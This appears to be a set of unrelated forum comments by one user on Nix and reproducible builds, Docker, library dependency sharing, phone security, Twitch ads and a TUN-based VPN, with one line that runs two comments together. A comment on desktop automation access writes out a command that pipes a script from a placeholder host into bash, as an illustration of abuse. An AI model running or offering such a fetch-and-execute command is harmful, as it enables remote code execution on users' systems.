The actual API call is still going to be JSON. How do you deal with that? Pack your Python function definitions into an array of huge opaque strings? And who would want to write a parser for that?
Madaidan's articles are well-known to be centered around "security at all costs", and often at the cost of user freedom. That's just not a realistic take when it comes to privacy. What good is absolute security if all it does is secure the device from your "tampering"? Sure, it would be nice if the device were highly secure, but I'd rather it stop spying first.
With absolute security, you can rest assured that only Google has access to all of your data, and only Google is allowed to turn off the siphoning.
OCI isn't a particularly good image format, the only thing it has going for itself is that it's the thing Docker uses. I would absolutely not be surprised if 90% of future bootc OCI images are built with Dockerfiles.
> Because nix is not fully reproducible, full source bootstrapped, or multisigned.
You've conflated Nix and Nixpkgs. My suggestion was to use Nix as your build engine, not to base your system on the existing packages in Nixpkgs. You'd still build your own complete package set, like you're doing already. Using Nix would give you a build sandbox that is purpose-built for deterministic builds, and you won't have to work around the troubles of Docker, which is not designed for that. I'm sure you must be aware that it's effectively impossible to reproduce a Docker image bit-for-bit when building from a regular Dockerfile, and I'm sure you've had to come up with some nasty hacks to work around all that. You could also use Nix's built-in store path signing feature, which does support multiple signatures.
AFAIK Twitch already sends a simple "there's supposed to be an ad here" video stream during ad breaks when viewing through a non-web player. I'd take 30 seconds of silence over 30 seconds of advertisements any day of the week.
Nice. This does some things very similarly to Hyprspace[1]. The core idea is the same: Receive some bytes from a TUN device, shove them into a network socket, and vice versa. Hyprspace uses libp2p to manage the outer connections between VPN nodes instead of plain UDP, which takes care of addressing, hole punching and encryption.
BTW: You can also use the netlink library to configure the routing table without external processes[2]. The /1 trick isn't necessary either, you can just create a route for 0.0.0.0/0 and set its metric lower than the existing default route. That won't replace the old route in the table, the new one will just take precedence as long as it exists.
You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.
Completely false. Building from the actual source code is strongly preferred and usually easier than patching a binary that wasn't built for such an environment.
You ditched NixOS for the very reason it was created. Not being able to run binaries with missing libraries is a feature. The idea is to make you aware of your implicit dependencies, and to force you to make them explicit.
This makes me wonder if you were subjected to false advertising.
If only they were actually portable. As it stands, mise is just another half-solution, and you can't solve the other half of the problem by ignoring it.
This problem is entirely self-imposed from the CLA bullshit they're trying to pull off, which also defeats the point of FOSS. I bet they "love Open Source".
The coffee is a tangible thing that required a lot of work to produce and deliver to you, and this work is required again the next time you want a coffee. The colorscheme is #19181a, #221f22, #2d2a2e, #fcfcfa, #ff6188, #fc9867, #ffd866, #a9dc76, #78dce8, #ab9df2, #c1c0c0, #939293, #727072, #5b595c, #403e41.
FS deduplication solves the problem at the storage level, but not at the transfer level. The components would still be downloaded multiple times if the downloader doesn't have a way to know what has already been downloaded.
Docker's way of doing things is basically an admittance of defeat by lazy engineers. We can do better than that.
Quadratic in the sense that, in the worst case, you have N programs sharing the same set of M dependencies, requiring N*M components worth of space. With sharing, it would only be N+M.
The Right Way To Do It(tm) is to assume that all library ABIs are unstable and ensure that the exact dependencies your software uses are present on the target.
Because it's an environment variable, and thus will have an (often undesired) effect on child processes. This information should instead be encoded into the binaries and libraries themselves, with things like DT_RUNPATH and DT_RPATH.
Programs potentially duplicating dependencies at a quadratic rate is an equally abject failure. It's the other extreme of the dependency sharing spectrum. Share, but don't overshare. If two programs share a dependency, and that dependency is the exact same (by content or by its inputs, when using a pure build system), they may share the dependency. If not, you install the dependency "twice" (it's not really twice, because it's not the same dependency, so two dependencies, each installed once).
The dynamic linker is part of glibc, so if you're shipping multiple glibcs, ship multiple dynamic linkers as well and let each application use the linker it needs.
Content-addressed (or input-addressed) component stores, like Nix. If you're blindly assuming which libraries exist on the target system, you've already failed.